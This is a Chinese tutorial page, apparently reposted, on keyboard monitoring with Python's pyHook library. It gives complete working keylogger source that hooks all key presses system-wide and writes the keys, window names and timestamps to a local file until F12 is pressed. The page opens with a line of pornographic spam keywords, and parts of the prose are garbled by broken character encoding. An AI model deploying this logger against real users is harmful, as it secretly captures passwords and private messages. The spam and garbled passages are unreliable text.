欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

python中使用pyhook實(shí)現(xiàn)鍵盤監(jiān)控的例子

 更新時(shí)間:2014年07月18日 09:31:04   作者:小五義  
這篇文章主要介紹了python中使用pyhook實(shí)現(xiàn)鍵盤監(jiān)控的例子,包含pyhook的下載地址和手冊(cè)地址及一個(gè)Windows下的監(jiān)控實(shí)例,需要的朋友可以參考下

pyhook下載:http://sourceforge.net/projects/pyhook/files/pyhook/1.5.1/

pyhookAPI手冊(cè):http://pyhook.sourceforge.net/doc_1.5.0/

以上網(wǎng)站上提供了幾個(gè)使用的例子,另外安裝pyhooks后,也會(huì)有一個(gè)例子的文件。于是拿來(lái)學(xué)習(xí)了一下,第一次運(yùn)行時(shí),提示沒(méi)有pythoncom模塊,就安裝了pywin32,安裝后,可以正常運(yùn)行,但是會(huì)導(dǎo)致機(jī)器發(fā)卡,特別是中斷程序運(yùn)行后,鼠標(biāo)會(huì)出現(xiàn)一段時(shí)間的自由晃動(dòng),找了半天原因,感覺(jué)主要是事件頻率過(guò)高,程序會(huì)經(jīng)??ㄔ趐ythoncom.PumpMessages()。

網(wǎng)上搜索了半天,看到有一帖子說(shuō)是pythoncom.PumpMessages(n),n表示延遲時(shí)間,于是試著改了下,發(fā)現(xiàn)有一定效果,但不明顯,后來(lái)想是不是因?yàn)闆](méi)有終止程序,才會(huì)導(dǎo)致一直很卡呢,于是添加終止程序語(yǔ)句win32api.PostQuitMessage()。結(jié)果還算滿意。

# -*- coding: cp936 -*-
import pythoncom 
import pyHook 
import time
import win32api
t=''
asciistr=''
keystr=''
def onKeyboardEvent(event):  
  global t,asciistr,keystr
  filename='d://test.txt'
  wrfile=open(filename,'ab')
  "處理鍵盤事件"
  if t==str(event.WindowName):
    asciistr=asciistr+chr(event.Ascii)
    keystr=keystr+str(event.Key)
    
  else:
    t=str(event.WindowName)
    if asciistr=='' and keystr=='':
      wrfile.writelines("\nWindow:%s\n" % str(event.Window))
      wrfile.writelines("WindowName:%s\n" % str(event.WindowName)) #寫入當(dāng)前窗體名
      wrfile.writelines("MessageName:%s\n" % str(event.MessageName))
      wrfile.writelines("Message:%d\n" % event.Message)
      wrfile.writelines("Time:%s\n" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime()))
    else:
      wrfile.writelines("Ascii_char:%s\n" %asciistr)
      wrfile.writelines("Key_char:%s\n" %keystr)
      wrfile.writelines("\nWindow:%s\n" % str(event.Window))
      wrfile.writelines("WindowName:%s\n" % str(event.WindowName)) #寫入當(dāng)前窗體名
      wrfile.writelines("Time:%s\n" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime()))
    
    asciistr=chr(event.Ascii)
    keystr=str(event.Key)
  if str(event.Key)=='F12': #按下F12后終止
    wrfile.writelines("Ascii_char:%s\n" %asciistr)
    wrfile.writelines("Key_char:%s\n" %keystr)
    wrfile.close()  
    win32api.PostQuitMessage()
    
  return True
  
  

if __name__ == "__main__":

  #創(chuàng)建hook句柄 
  hm = pyHook.HookManager() 

  #監(jiān)控鍵盤 
  hm.KeyDown = onKeyboardEvent 
  hm.HookKeyboard() 

  #循環(huán)獲取消息 
  pythoncom.PumpMessages(10000)

相關(guān)文章

最新評(píng)論